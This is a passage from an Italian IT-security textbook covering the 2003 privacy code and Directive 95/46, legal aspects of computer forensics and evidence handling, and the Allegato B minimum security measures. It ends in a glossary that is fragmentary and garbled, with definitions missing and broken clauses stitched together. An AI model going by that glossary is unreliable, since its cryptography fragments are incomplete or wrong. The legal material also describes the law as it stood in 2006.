nato l'introduzione, nella legislazione dei paesi membri, di
una serie di principi a tutela della riservatezza dei dati per-
sonali. Di conseguenza, la tutela della privacy diventata
un diritto fondamentale della persona, che ha facolt di
controllare come terzi (persone fisiche o giuridiche) con-
servano e trattano i dati personali che la riguardano.
La direttiva 95/46 CE stata recepita dal decreto legi-
slativo 196/2003 (Codice in materia di protezione dei dati
personali, altrimenti detto Codice della privacy), aggior-
nato da una serie di provvedimenti (sono elencati quelli no-
ti al 29 marzo 2006):
- legge 23 febbraio 2006, n.51 di conversione con modifica-
zioni, del decreto-legge 30 dicembre 2005, n. 273
- legge 31 luglio 2005, n. 155, di conversione con modifica-
zioni, del decreto-legge 27 luglio, n. 144
- legge 1 marzo 2005, n. 26, di conversione, con modifica-
zioni, del decreto-legge 30 dicembre 2004, n. 314;
- legge 27 dicembre 2004, n. 306, di conversione del decre-
to-legge 9 novembre 2004, n. 266;
- legge 27 luglio 2004, n. 188, di conversione del decreto-leg-
ge 24 giugno 2004, n. 158;
- legge 26 maggio 2004, n. 138, di conversione, con modifi-
cazioni, del decreto-legge 29 marzo 2004, n. 81;
- legge 26 febbraio 2004, n. 45, di conversione, con modifi-
cazioni, del decreto-legge 24 dicembre 2003, n. 354;
- decreto legislativo 22 gennaio 2004, n. 42.
L'art. 4 del Codice della privacy definisce i dati perso-
nali. Un dato personale qualunque informazione relativa
a persona fisica, persona giuridica, ente od associazione,
identificati o identificabili, anche indirettamente, mediante
riferimento a qualsiasi altra informazione, ivi compreso un
numero di identificazione personale.
I dati personali che richiedono particolare protezione
sono detti dati sensibili e sono definiti come i dati personali
idonei a rivelare l'origine razziale ed etnica, le convinzioni
religiose, filosofiche o di altro genere, le opinioni politiche,
l'adesione a partiti, sindacati, associazioni od organizza-
zioni a carattere religioso, filosofico, politico o sindacale,
nonch i dati personali idonei a rivelare lo stato di salute e
la vita sessuale.
Un altro concetto fondamentale quello di trattamento,
definito come qualunque operazione o complesso di ope-
razioni, effettuati anche senza l'ausilio di strumenti elet-
tronici, concernenti la raccolta, la registrazione, l'organiz-
zazione, la conservazione, la consultazione, l'elaborazione,
la modificazione, la selezione, l'estrazione, il raffronto, l'u-
tilizzo, l'interconnessione, il blocco, la comunicazione, la
diffusione, la cancellazione e la distruzione di dati, anche se
non registrati in una banca di dati.
I soggetti principali previsti dalla normativa sulla pri-
vacy sono il titolare, il responsabile, l'incaricato del tratta-
mento e l'interessato.
Il titolare la persona fisica, la persona giuridica, la pub-
blica amministrazione e qualsiasi altro ente, associazione
od organismo cui competono, anche unitamente ad altro ti-
tolare, le decisioni in ordine alle finalit, alle modalit del
trattamento di dati personali e agli strumenti utilizzati, ivi
compreso il profilo della sicurezza.
Il responsabile la persona fisica, la persona giuridica,
la pubblica amministrazione e qualsiasi altro ente, asso-
ciazione od organismo preposti dal titolare al trattamento
di dati personali.
Il titolare o il responsabile del trattamento devono no-
minare come incaricati le persone autorizzate a eseguire le
operazioni di trattamento. Gli incaricati sono definiti come
le persone fisiche autorizzate a compiere operazioni di trat-
tamento dal titolare o dal responsabile.
E' infine definito come interessato la persona fisica, la
persona giuridica, l'ente o l'associazione cui si riferiscono
i dati personali.
La normativa a tutela della privacy si basa su
alcuni principi fondamentali
Principio del buon trattamento
In base a questo principio (vedi art. 11), i dati persona-
li oggetto del trattamento devono essere: trattati in modo
lecito e secondo correttezza; raccolti e registrati per scopi
determinati, espliciti e legittimi, e utilizzati in altre opera-
zioni del trattamento in termini compatibili con tali scopi;
esatti e, se necessario, aggiornati; pertinenti, completi e
non eccedenti rispetto alle finalit per le quali sono raccolti
o successivamente trattati; conservati in una forma che
consenta l'identificazione dell'interessato per un periodo di
tempo non superiore a quello necessario agli scopi per i
quali essi sono stati raccolti o successivamente trattati.
Controllo amministrativo sul corretto trattamento di dati
Previsto dalla legge comunitaria e ripreso dalla norma-
tiva italiana, questo principio ha determinato la nascita di
un'authority amministrativa (in Italia il Garante per la pro-
tezione dei dati personali) con compiti di vigilanza sul cor-
retto trattamento dei dati personali da parte di privati e
aziende.
Oltre ad avere il potere di prendere provvedimenti anche
di tipo sanzionatorio in caso di violazioni, l'authority ha il
compito di stendere regolamenti, codici disciplinari e policy
di validit generale, di autorizzare particolari trattamenti di
dati sensibili e di fissare i criteri e i limiti, anche attraverso
5.8.3.2: Conoscere
la legge a tutela e
trattamento dei dati
personali (Direttiva
Europea 95/46), e
relative implicazioni
campagne di educazione e sensibilizzazione, entro i quali i
trattamenti dei dati possono considerarsi leciti.
Obbligo informativo
In base a tale principio (vedi art. 13), chiunque esegua
trattamenti di dati personali deve informare oralmente o
per iscritto gli interessati circa: le finalit e le modalit del
trattamento cui sono destinati i dati; la natura obbligatoria
o facoltativa del conferimento dei dati; le conseguenze di
un eventuale rifiuto di rispondere; i soggetti o le categorie
di soggetti ai quali i dati personali possono essere comu-
nicati o che possono venirne a conoscenza in qualit di re-
sponsabili o incaricati, e l'ambito di diffusione dei dati me-
desimi; i diritti di cui all'articolo 7; gli estremi identificativi
del titolare e, se designati, del rappresentante nel territorio
dello Stato ai sensi dell'articolo 5 e del responsabile. Le ec-
cezioni all'obbligo dell'informativa sono assai limitate e pre-
viste dall'art. 13 (un esempio quando i dati sono trattati
in base a un obbligo previsto dalla legge, da un regolamen-
to o dalla normativa comunitaria).
Principio del consenso
Salvo alcuni casi previsti, come un obbligo di legge o
contrattuale, il titolare della raccolta e trattamento dei da-
ti personali deve ottenere il consenso esplicito dell'inte-
ressato. Il consenso deve essere scritto qualora il tratta-
mento riguardi dati sensibili.
Diritto alla riservatezza
Ai sensi dell'art. 7, l'interessato ha diritto di ottenere la
conferma dell'esistenza o meno di dati personali che lo ri-
guardano, anche se non ancora registrati, e la loro comu-
nicazione in forma intelligibile.
In particolare, l'interessato ha il diritto di ottenere l'in-
dicazione: dell'origine dei dati personali; delle finalit e mo-
dalit del trattamento; della logica applicata in caso di trat-
tamento effettuato con l'ausilio di strumenti elettronici; de-
gli estremi identificativi del titolare, dei responsabili e del
rappresentante designato ai sensi dell'articolo 5, comma 2;
dei soggetti o delle categorie di soggetti ai quali i dati per-
sonali possono essere comunicati o che possono venirne a
conoscenza in qualit di rappresentante designato nel ter-
ritorio dello Stato, di responsabili o incaricati.
L'interessato ha inoltre diritto di ottenere: l'aggiorna-
mento, la rettificazione ovvero, quando vi ha interesse, l'in-
tegrazione dei dati; la cancellazione, la trasformazione in
forma anonima o il blocco dei dati trattati in violazione di
legge, compresi quelli di cui non necessaria la conserva-
zione in relazione agli scopi per i quali i dati sono stati rac-
colti o successivamente trattati; l'attestazione che le ope-
razioni di cui alle lettere a) e b) sono state portate a cono-
scenza, anche per quanto riguarda il loro contenuto, di co-
loro ai quali i dati sono stati comunicati o diffusi, eccet-
tuato il caso in cui tale adempimento si rivela impossibile
o comporta un impiego di mezzi manifestamente spropor-
zionato rispetto al diritto tutelato.
Infine, l'interessato ha diritto di opporsi, in tutto o in par-
te: per motivi legittimi al trattamento dei dati personali che
lo riguardano, ancorch pertinenti allo scopo della raccol-
ta; al trattamento di dati personali che lo riguardano a fini
di invio di materiale pubblicitario o di vendita diretta o per
il compimento di ricerche di mercato o di comunicazione
commerciale.
Circolazione limitata dei dati
Introdotto nella legislazione comunitaria e ripreso dalla
normativa italiana, questo principio ispira gli articoli sulla
circolazione delle informazioni. I dati personali, salvo al-
cune precise eccezioni, non possono essere comunicati a
terzi n tantomeno diffusi ad ampio raggio senza il con-
senso dell'interessato. I dati sensibili e giudiziari in nessun
caso possono essere diffusi.
Mentre la circolazione dei dati all'interno dell'Unione eu-
ropea non deve essere ostacolata dalle normative in mate-
ria di dati personali (vedi art. 42), la circolazione dei dati al
di fuori dell'Unione consentita solo nei casi previsti dagli
artt. 43 e 44 del codice della privacy. Negli artt. 25 e 26 del-
la direttiva 95/46 CE, la Commissione europea ha vietato il
trasferimento dei dati personali verso paesi che non assi-
curano un livello adeguato di tutela dei dati personali.
Sicurezza
I dati personali devono essere protetti da misure di si-
curezza allo scopo di garantirne la riservatezza, l'integrit
e la disponibilit. Si veda la sezione 5.8.2.2 circa le misure
minime di sicurezza imposte dal codice della privacy.
A tutela dei cittadini e delle aziende interessati al trat-
tamento dei dati che li riguardano, il codice della privacy
prevede sanzioni sia in sede amministrativa (in particola-
re in caso di omessa o inidonea informativa all'interessato,
omessa o incompleta notificazione, omessa informazione o
esibizione al Garante), sia in sede penale (in particolare in
caso di trattamento illecito di dati, falsit nelle dichiara-
zioni e notificazioni al Garante, mancata applicazione del-
le misure di sicurezza, inosservanza di provvedimenti del
garante).
In caso di violazione, ipotizzabile un risarcimento del
danno in base all'art. 2050 del Codice civile, che prevede la
responsabilit per le attivit pericolose e al quale si appli-
ca il ribaltamento dell'onere della prova: la societ re-
sponsabile del trattamento dei dati che deve provare di
aver posto in essere tutte le misure e precauzioni idonee at-
te a evitare il danno.
Informatica forense
Man mano che le informazioni hanno acquisito cre-
scente importanza per le aziende, fino a superare in alcuni
settori il valore dei beni materiali, gli attacchi alla loro si-
curezza (integrit, riservatezza, disponibilit) si sono mol-
tiplicati. Ne derivata una duplice esigenza: proteggere le
informazioni da danni e abusi causati sia dall'interno sia
dall'esterno dell'organizzazione e dotarsi degli strumenti e
procedure che consentano di identificare i responsabili di
tali atti e di documentarne le azioni con efficacia probato-
ria.
La legge 397/2000 (Disposizioni in materia di indagini di-
fensive) ha introdotto nel Codice di procedura penale le
nuove disposizioni in materia di indagini difensive, con l'o-
biettivo di parificare l'attivit difensiva all'attivit investi-
gativa dell'autorit giudiziaria (in particolare del Pubblico
Ministero), dando ad esse uguale valore probatorio in sede
processuale. Sono state inoltre definite le modalit con cui
i difensori possono procedere alla raccolta delle prove.
L'art. 391-nonies (Attivit investigativa preventiva), in-
serito nel Codice di procedura penale dalla legge 397/2000,
stabilisce che l'attivit investigativa prevista dall'articolo
327-bis, con esclusione degli atti che richiedono l'autoriz-
zazione o l'intervento dell'autorit giudiziaria, pu essere
svolta anche dal difensore che ha ricevuto apposito man-
dato per l'eventualit che s'instauri un procedimento pe-
nale.
L'art. 327-bis. (Attivit investigativa del difensore), an-
ch'esso introdotto dalla 397/2000, stabilisce che:
1. Fin dal momento dell'incarico professionale, risultan-
te da atto scritto, il difensore ha facolt di svolgere inve-
stigazioni per ricercare ed individuare elementi di prova a
favore del proprio assistito, nelle forme e per le finalit sta-
bilite nel titolo VI-bis del Codice di procedura penale.
2. La facolt indicata al punto 1 pu essere attribuita per
l'esercizio del diritto di difesa, in ogni stato e grado del pro-
5.8.3.3: Conoscere
gli aspetti legali
generali relativi
all'evidenza di reato
e alle perizie
informatiche
giudiziarie (Computer
Forensics)
cedimento, nell'esecuzione penale e per promuovere il giu-
dizio di revisione.
3. Le attivit previste dal punto 1 possono essere svolte,
su incarico del difensore, dal sostituto, da investigatori pri-
vati autorizzati e, quando sono necessarie specifiche com-
petenze, da consulenti tecnici.
Quanto detto significa che anche un soggetto che si ri-
tiene offeso da un reato pu affidare un mandato a un di-
fensore per compiere indagini al fine di accertare la sussi-
stenza delle prove necessarie e per decidere se presentare
una successiva denuncia o querela all'autorit giudiziaria.
D'altra parte, l'autorit giudiziaria e i difensori sono spesso
impreparati ad affrontare le problematiche connesse con
tecnologie in continua e rapida evoluzione, quali sono i
mezzi di ricerca della prova informatica.
Sebbene siano in corso iniziative, come il progetto eu-
ropeo AEEC (Admissibility of Electronic Evidence in Court)
del 2005 sull'ammissibilit della prova elettronica, manca
ancora un protocollo che definisca regole certe in base al
quale i pubblici ministeri e i difensori possano procedere
all'individuazione, analisi e presentazione dei dati in forma
digitale, secondo modalit idonee a garantire che le infor-
mazioni raccolte siano accettate come prove in sede pro-
cessuale.
Dato che nei moderni sistemi difficile cancellare dati
elettronici senza lasciare qualche traccia, dall'analisi di ta-
li tracce (per esempio il file system, i file di log dei sistemi
operativi e delle applicazioni e il registro di sistema di Win-
dows), oltre che dei file, spesso possibile ottenere infor-
mazioni importanti per provare la colpevolezza del re-
sponsabile di un reato informatico. Ci possibile a con-
dizione che i dati siano raccolti e conservati in modalit
adeguate per il loro utilizzo processuale e che sia rispetta-
ta una serie di requisiti riguardanti l'ambiente, il consulen-
te tecnico (competenza, certificazioni, testimoni, presenza,
capacit di sostenere il contraddittorio), le procedure, gli
strumenti, la metodologia, la sicurezza, la ripetibilit, la
presentazione e altro.
L'informatica forense (computer forensics) la discipli-
na che si occupa della preservazione, dell'identificazione,
dell'analisi e della documentazione dei computer o dei si-
stemi informativi al fine di evidenziare l'esistenza di prove
nell'attivit investigativa.
Dal punto di vista procedurale, l'obiettivo principale del-
l'informatica forense la creazione di un protocollo di re-
gole da seguire per le ricerca della prova informatica e re-
lativa acquisizione e conservazione al fine di garantire che
i risultati delle indagini abbiano valore anche in sede pro-
cessuale.
Di fronte all'incompetenza tecnica dei giudici e alle
obiezioni e all'aggressivit oratoria degli accusatori e dei di-
fensori, intenzionati a sminuire, invalidare o screditare le
prove altrui, i relativi metodi e le condizioni di raccolta e
conservazione, nonch le qualifiche del consulente tecnico
di parte opposta, facile comprendere che non bastano dei
dati trovati su un hard disk per ottenere dal giudice la loro
ammissione come prova a carico o a discarico.
Le attivit di informatica forense possono riguardare di-
verse aree, tra cui le seguenti:
1. monitoraggio e analisi dei supporti di memorizzazio-
ne e delle periferiche;
2. visualizzazione di banche dati;
3. esame di immagini e sequenze audio e video;
4. monitoraggio e controllo delle attivit svolte su reti in-
terne ed esterne, inclusa Internet.
Tra i requisiti fondamentali di una prova informatica, af-
finch possa essere accettata in sede processuale, ci sono
autenticit, pertinenza, accuratezza, completezza, inte-
grit e non ripudiabilit. Inoltre, deve essere raccolta, do-
cumentata e presentata in modo convincente per essere ri-
tenuta ammissibile e giuridicamente valida da un giudice
che, non tecnicamente esperto, ha formato criteri pi o me-
no soggettivi di accettabilit, a volte basati sull'uso di pro-
tocolli e strumenti usati di frequente in un certo ambito.
Alla base della procedura di analisi forense c' una cor-
retta procedura di raccolta e conservazione dei dati e l'u-
tilizzo di strumenti di analisi che generino risultati ripro-
ducibili senza che vi sia alcuna alterazione dei supporti ori-
ginali.
Nei casi di acquisizione delle prove su sistemi accesi (li-
ve response), quando le prove includono dati volatili che
sarebbero perduti spegnendo il sistema, per prima cosa si
provvede al loro salvataggio. Fanno parte di tale categoria
i dati in memoria riguardanti gli utenti correnti, i processi
e le applicazioni aperte e i relativi dati e le sessioni di co-
municazione, inclusi i socket aperti. Si tenga anche conto
che possono essere attive applicazioni o servizi che ripuli-
scono il sistema alla fine di una sessione del sistema ope-
rativo. Se necessario, pu essere eseguito un esame in
profondit sul sistema acceso, altrimenti si pu eseguire un
esame iniziale dei dati volatili e quindi la duplicazione dei
media in un diverso ambiente di sistema, che non alteri i
media stessi.
Come regola generale, le analisi non vengono effettuate
Uno schema semplificato dell'analisi forense
sui supporti originali sequestrati, ma su immagini degli
hard disk perfettamente identiche catturate byte per byte
(dette anche bitstream image) senza alterazione dell'origi-
nale. Per ogni immagine cos registrata, possibilmente in
presenza di testimoni, viene subito calcolata un'impronta
informatica (hash) in modo che successivamente sia ga-
rantita l'integrit delle informazioni raccolte, che in tal mo-
do non sono ripudiabili dalle parti interessate. Se occorre,
pu anche essere applicata una firma digitale per garanti-
re che nessuno alteri l'hash. Il concetto di raccogliere pro-
ve non ripudiabili e di custodirle integre e al sicuro fino al
processo si chiama Chain of Custody (catena della custo-
dia). La custodia in maniera corretta (a prova di manomis-
sione) delle prove e dei dati acquisiti vitale al fine di evi-
tare che il lavoro di indagine sia invalidato per un cavillo le-
gale. Lavorando con prove pressoch immateriali, facile
distruggere una prova determinante con un semplice pas-
so falso. Il lavoro inoltre pu essere ostacolato dalle ope-
razioni eseguite da utenti o amministratori di sistema pri-
ma del sopraluogo, che possono pregiudicare l'indagine.
Nella prassi giudiziaria, finch non verranno standar-
dizzate e uniformate le regole per l'acquisizione delle pro-
ve informatiche, la pubblica accusa ritiene spesso attendi-
bili anche prove mancanti dei requisiti citati, come le stam-
pe di documenti (pagine Internet, messaggi e-mail, sessio-
ni di chat e cos via) e supporti di memorizzazione privi di
sigillo o garanzia elettronica di intergit.
In base al principio del libero convincimento del giudice,
anche gli organi giudicanti ritengono spesso attendibili ta-
li prove. D'altra parte, una recente sentenza della Cassa-
zione ha negato il valore di prova alla stampa di una pagi-
na web perch priva di una garanzia di rispondenza all'ori-
ginale e di un riferimento temporale.
Per tutte queste ragioni, necessario che anche le im-
prese si dotino degli strumenti tecnologici e organizzativi
necessari per monitorare (nel rispetto della privacy e del-
lo Statuto dei lavoratori) le operazioni informatiche e rico-
noscere gli indicatori di un possibile reato mentre viene
commesso. In tal modo, si possono raccogliere prove vali-
de da utilizzare in sede processuale ad uso sia del Pubbli-
co Ministero sia dei difensori. Tali attivit richiedono l'in-
tervento di personale interno, o di consulenti esterni, con
adeguate competenze tecnologiche, organizzative e giuri-
diche (inclusa la familiarit con le pratiche accettate dal tri-
bunale locale), in costante aggiornamento professionale e
in contatto, anche attraverso i forum, con i colleghi della
comunit informatica forense.
I motori di ricerca e le librerie online sono una ricca fon-
te di riferimenti sulle procedure, gli strumenti e le norma-
tive per l'informatica forense (computer forensics).
Esistono numerosi strumenti per la duplicazione e il ri-
pristino dei dati, a partire dalle utility dd e dcfldd dei si-
stemi operativi di derivazione Unix. Oltre ai comandi di si-
stema, esistono utility Open Source come ODD (Open Da-
ta Duplicator), che fa parte dell'architettura Open Digital
Evidence Search and Seizure Architecture (ODESSA). Esiste
poi una serie di applicazioni commerciali, talvolta molto co-
stose, come EnCase Forensics di Guidance Software, uno
degli strumenti pi utilizzati da organizzazioni governative
e forze dell'ordine a livello internazionale (www.guidance-
software.com).
Se da un lato non esistono ostacoli tecnici a utilizzare
strumenti Open Source o a identificare procedure e stru-
menti al di fuori degli schemi abituali per la raccolta delle
prove, in realt c' il rischio di non vedere ammesse le pro-
ve raccolte perch la procedura incomprensibile al giu-
dice o demolita dalla controparte durante il processo.
Ci premesso, un ambiente di sistema progettato appo-
sitamente per la raccolta di prove informatiche Helix, una
versione di Linux basata sulla distribuzione Knoppix Live
CD (avviata da CD senza installare nulla su hard disk) che
include molte applicazioni dedicate alla diagnosi dei pro-
blemi e alla raccolta di informazioni per uso forense
(www.e-fense.com/helix/).
Tra gli strumenti in grado di recuperare i contenuti di un
hard disk, anche nascosti o rovinati, citiamo R-Studio di R-
Tools Technology (www.r-tt.com), che produce diverse ap-
plicazioni per il recupero e il ripristino dei dati.
Tra la abbondante letteratura sull'informatica forense,
citiamo i seguenti testi e URL di riferimento:
"Incident Response and Computer Forensics", Seconda Edi-
zione, K. Mandia e C. Prosise, McGraw-Hill/Osborne 2003
"File System Forensic Analysis", B. Carrier, Addison-Wesley
Professional, 2005
"Real Digital Forensics: Computer Security and Incident Re-
sponse", Jones, Bejtlich e Rose, Addison-Wesley Professio-
nal, 2005
"Digital Evidence and Computer Crime", Seconda Edizione,
E. Casey, Academic Press, 2004
The Sleuth Kit (TSK), www.sleuthkit.org/sleuthkit/
index.php
Forensic Tools, www.networkintrusion.co.uk/fortools.htm
Anti-Forensic Tools, www.networkintrusion.co.uk/foranti.
htm
Open Source Digital Forensics, www.opensourceforensics.org
/index.html
Computer Forensics, Cybercrime and Steganography Re-
sources, www.forensics.nl
Documenti e libri di informatica forense, www.digital-
evidence.org/papers/index.html
Forensic Focus, www.forensicfocus.com/computer-
forensics-forums
ALLEGATO B
DISCIPLINARE TECNICO IN MATERIA DI MISURE MINIME DI SICUREZZA
(Artt. da 33 a 36 del codice)
Trattamenti con strumenti elettronici
Modalit tecniche da adottare a cura del titolare, del
responsabile ove designato e dell'incaricato, in caso di
trattamento con strumenti elettronici:
Sistema di autenticazione informatica
1. Il trattamento di dati personali con strumenti elettronici
consentito agli incaricati dotati di credenziali di
autenticazione che consentano il superamento di una
procedura di autenticazione relativa a uno specifico
trattamento o a un insieme di trattamenti.
2. Le credenziali di autenticazione consistono in un codice
per l'identificazione dell'incaricato associato a una parola
chiave riservata conosciuta solamente dal medesimo
oppure in un dispositivo di autenticazione in possesso e
uso esclusivo dell'incaricato, eventualmente associato a
un codice identificativo o a una parola chiave, oppure in
una caratteristica biometrica dell'incaricato,
eventualmente associata a un codice identificativo o a una
parola chiave.
3. Ad ogni incaricato sono assegnate o associate
individualmente una o pi credenziali per l'autenticazione.
4. Con le istruzioni impartite agli incaricati prescritto di
adottare le necessarie cautele per assicurare la segretezza
della componente riservata della credenziale e la diligente
custodia dei dispositivi in possesso ed uso esclusivo
dell'incaricato.
5. La parola chiave, quando prevista dal sistema di
autenticazione, composta da almeno otto caratteri
oppure, nel caso in cui lo strumento elettronico non lo
permetta, da un numero di caratteri pari al massimo
consentito; essa non contiene riferimenti agevolmente
riconducibili all'incaricato ed modificata da quest'ultimo
al primo utilizzo e, successivamente, almeno ogni sei
mesi. In caso di trattamento di dati sensibili e di dati
giudiziari la parola chiave modificata almeno ogni tre
mesi.
6. Il codice per l'identificazione, laddove utilizzato, non pu
essere assegnato ad altri incaricati, neppure in tempi
diversi.
7. Le credenziali di autenticazione non utilizzate da almeno
sei mesi sono disattivate, salvo quelle preventivamente
autorizzate per soli scopi di gestione tecnica.
8. Le credenziali sono disattivate anche in caso di perdita
della qualit che consente all'incaricato l'accesso ai dati
personali.
9. Sono impartite istruzioni agli incaricati per non lasciare
incustodito e accessibile lo strumento elettronico durante
una sessione di trattamento.
10. Quando l'accesso ai dati e agli strumenti elettronici
consentito esclusivamente mediante uso della
componente riservata della credenziale per
l'autenticazione, sono impartite idonee e preventive
disposizioni scritte volte a individuare chiaramente le
modalit con le quali il titolare pu assicurare la
disponibilit di dati o strumenti elettronici in caso di
prolungata assenza o impedimento dell'incaricato che
renda indispensabile e indifferibile intervenire per
esclusive necessit di operativit e di sicurezza del
sistema. In tal caso la custodia delle copie delle
credenziali organizzata garantendo la relativa segretezza
e individuando preventivamente per iscritto i soggetti
incaricati della loro custodia, i quali devono informare
tempestivamente l'incaricato dell'intervento effettuato.
11. Le disposizioni sul sistema di autenticazione di cui ai
precedenti punti e quelle sul sistema di autorizzazione non
si applicano ai trattamenti dei dati personali destinati alla
diffusione.
Sistema di autorizzazione
12. Quando per gli incaricati sono individuati profili di
autorizzazione di ambito diverso utilizzato un sistema di
autorizzazione.
13. I profili di autorizzazione, per ciascun incaricato o per
classi omogenee di incaricati, sono individuati e configurati
anteriormente all'inizio del trattamento, in modo da
limitare l'accesso ai soli dati necessari per effettuare le
operazioni di trattamento.
14. Periodicamente, e comunque almeno annualmente,
verificata la sussistenza delle condizioni per la
conservazione dei profili di autorizzazione.
Altre misure di sicurezza
15. Nell'ambito dell'aggiornamento periodico con cadenza
almeno annuale dell'individuazione dell'ambito del
trattamento consentito ai singoli incaricati e addetti alla
gestione o alla manutenzione degli strumenti elettronici, la
lista degli incaricati pu essere redatta anche per classi
omogenee di incarico e dei relativi profili di autorizzazione.
16. I dati personali sono protetti contro il rischio di
intrusione e dell'azione di programmi di cui all'art. 615-
quinquies del codice penale, mediante l'attivazione di
idonei strumenti elettronici da aggiornare con cadenza
almeno semestrale.
17. Gli aggiornamenti periodici dei programmi per
elaboratore volti a prevenire la vulnerabilit di strumenti
elettronici e a correggerne difetti sono effettuati almeno
annualmente. In caso di trattamento di dati sensibili o
giudiziari l'aggiornamento almeno semestrale.
18. Sono impartite istruzioni organizzative e tecniche che
prevedono il salvataggio dei dati con frequenza almeno
settimanale.
Documento programmatico sulla sicurezza
19. Entro il 31 marzo di ogni anno, il titolare di un
trattamento di dati sensibili o di dati giudiziari redige anche
attraverso il responsabile, se designato, un documento
programmatico sulla sicurezza contenente idonee
informazioni riguardo:
19.1. l'elenco dei trattamenti di dati personali;
19.2. la distribuzione dei compiti e delle responsabilit
nell'ambito delle strutture preposte al trattamento dei dati;
19.3. l'analisi dei rischi che incombono sui dati;
19.4. le misure da adottare per garantire l'integrit e la
disponibilit dei dati, nonch la protezione delle aree e dei
locali, rilevanti ai fini della loro custodia e accessibilit;
19.5. la descrizione dei criteri e delle modalit per il
ripristino della disponibilit dei dati in seguito a distruzione
o danneggiamento di cui al successivo punto 23;
19.6. la previsione di interventi formativi degli incaricati del
trattamento, per renderli edotti dei rischi che incombono
sui dati, delle misure disponibili per prevenire eventi
dannosi, dei profili della disciplina sulla protezione dei dati
personali pi rilevanti in rapporto alle relative attivit, delle
responsabilit che ne derivano e delle modalit per
aggiornarsi sulle misure minime adottate dal titolare. La
formazione programmata gi al momento dell'ingresso in
servizio, nonch in occasione di cambiamenti di mansioni,
o di introduzione di nuovi significativi strumenti, rilevanti
rispetto al trattamento di dati personali;
19.7. la descrizione dei criteri da adottare per garantire
l'adozione delle misure minime di sicurezza in caso di
trattamenti di dati personali affidati, in conformit al
codice, all'esterno della struttura del titolare;
19.8. per i dati personali idonei a rivelare lo stato di salute
e la vita sessuale di cui al punto 24, l'individuazione dei
criteri da adottare per la cifratura o per la separazione di
tali dati dagli altri dati personali dell'interessato.
Ulteriori misure in caso di trattamento di dati sensibili o
giudiziari
20. I dati sensibili o giudiziari sono protetti contro
l'accesso abusivo, di cui all' art. 615-ter del codice penale,
mediante l'utilizzo di idonei strumenti elettronici.
21. Sono impartite istruzioni organizzative e tecniche per
la custodia e l'uso dei supporti rimovibili su cui sono
memorizzati i dati al fine di evitare accessi non autorizzati
e trattamenti non consentiti.
22. I supporti rimovibili contenenti dati sensibili o giudiziari
se non utilizzati sono distrutti o resi inutilizzabili, ovvero
possono essere riutilizzati da altri incaricati, non autorizzati
al trattamento degli stessi dati, se le informazioni
precedentemente in essi contenute non sono intelligibili e
tecnicamente in alcun modo ricostruibili.
23. Sono adottate idonee misure per garantire il ripristino
dell'accesso ai dati in caso di danneggiamento degli stessi
o degli strumenti elettronici, in tempi certi compatibili con i
diritti degli interessati e non superiori a sette giorni.
24. Gli organismi sanitari e gli esercenti le professioni
sanitarie effettuano il trattamento dei dati idonei a rivelare
lo stato di salute e la vita sessuale contenuti in elenchi,
registri o banche di dati con le modalit di cui all'articolo
22, comma 6, del codice, anche al fine di consentire il
trattamento disgiunto dei medesimi dati dagli altri dati
personali che permettono di identificare direttamente gli
interessati. I dati relativi all'identit genetica sono trattati
esclusivamente all'interno di locali protetti accessibili ai
soli incaricati dei trattamenti ed ai soggetti
specificatamente autorizzati ad accedervi; il trasporto dei
dati all'esterno dei locali riservati al loro trattamento deve
avvenire in contenitori muniti di serratura o dispositivi
equipollenti; il trasferimento dei dati in formato elettronico
cifrato.
Misure di tutela e garanzia
25. Il titolare che adotta misure minime di sicurezza
avvalendosi di soggetti esterni alla propria struttura, per
provvedere alla esecuzione riceve dall'installatore una
descrizione scritta dell'intervento effettuato che ne attesta
la conformit alle disposizioni del presente disciplinare
tecnico.
26. Il titolare riferisce, nella relazione accompagnatoria del
bilancio d'esercizio, se dovuta, dell'avvenuta redazione o
aggiornamento del documento programmatico sulla
sicurezza.
Trattamenti senza l'ausilio di strumenti elettronici
Modalit tecniche da adottare a cura del titolare, del
responsabile, ove designato, e dell'incaricato, in caso di
trattamento con strumenti diversi da quelli elettronici:
27. Agli incaricati sono impartite istruzioni scritte
finalizzate al controllo ed alla custodia, per l'intero ciclo
necessario allo svolgimento delle operazioni di
trattamento, degli atti e dei documenti contenenti dati
personali. Nell'ambito dell'aggiornamento periodico con
cadenza almeno annuale dell'individuazione dell'ambito del
trattamento consentito ai singoli incaricati, la lista degli
incaricati pu essere redatta anche per classi omogenee di
incarico e dei relativi profili di autorizzazione.
28. Quando gli atti e i documenti contenenti dati personali
sensibili o giudiziari sono affidati agli incaricati del
trattamento per lo svolgimento dei relativi compiti, i
medesimi atti e documenti sono controllati e custoditi dagli
incaricati fino alla restituzione in maniera che ad essi non
accedano persone prive di autorizzazione, e sono restituiti
al termine delle operazioni affidate.
29. L'accesso agli archivi contenenti dati sensibili o
giudiziari controllato. Le persone ammesse, a qualunque
titolo, dopo l'orario di chiusura, sono identificate e
registrate.
Quando gli archivi non sono dotati di strumenti elettronici
per il controllo degli accessi o di incaricati della vigilanza,
le persone che vi accedono sono preventivamente
autorizzate.
GLOSSARIO
3DES (Triple DES)
tripla applicazione del DES. Lalgoritmo alla base di 3DES
Accountability
Accuratezza
informazioni.
AES
pubblicato dal NIST nel 2001, lalgoritmo richiesto per
classificati fino al livello di secret con chiave di 128 bit e di
top secret con chiave di 192 o 256 bit. E' previsto che
risulti sicuro per decenni a venire ed utilizzabile senza il
Agente
agente. Esempi di agenti di minaccia sono un intruso
cheentra in rete attraverso una porta del firewall, un
processo che accede ai dati violando le regole di sicurezza,
un tornado che spazza via il centro di calcolo o un utente
che inavvertitamente permette ad altri di vedere le
password.
AH (Authentication Header)
uno dei protocolli della famiglia IPSec. Fornisce la prova di
origine dei pacchetti ricevuti, l'integrit dei dati e la
protezione da replay.
Analisi dei protocolli
uno dei tre metodi usati dagli IDS per riconoscere segni
d'intrusione. Meno specifico del pattern matching,
esamina il pattern (la struttura) del traffico, anzich il
campo dati dei pacchetti. Sono verificati gli header e la loro
coerenza con la struttura dei pacchetti.
Analisi del rischio
minacce e vulnerabilit e si identifica il livello di rischio
Autenticit
Bene
abbia un valore e debba quindi essere protetta.
Blowfish
chiavi di lunghezza fino a 448 bit. Durante la cifratura i dati
sono sottoposti a 16 fasi di funzioni crittografiche. Blowfish
un algoritmo molto robusto ed stato scritto da Bruce
Schneier, uno degli autori pi citati nel campo della
crittografia.
BS 7799
informazioni.
Business Continuity
Busta elettronica
bit sono diversi o 0 se sono uguali) con il blocco
propriet di pseudocasualit in modo che testi diversi
producano lo stesso testo cifrato.
primo blocco decifrato e combinato in XOR con il vettore
dinizializzazione.
www.cenorm.org)
per lItalia).
sicurezza e condurre ricerche rivolte a incrementare la
CERT-CC
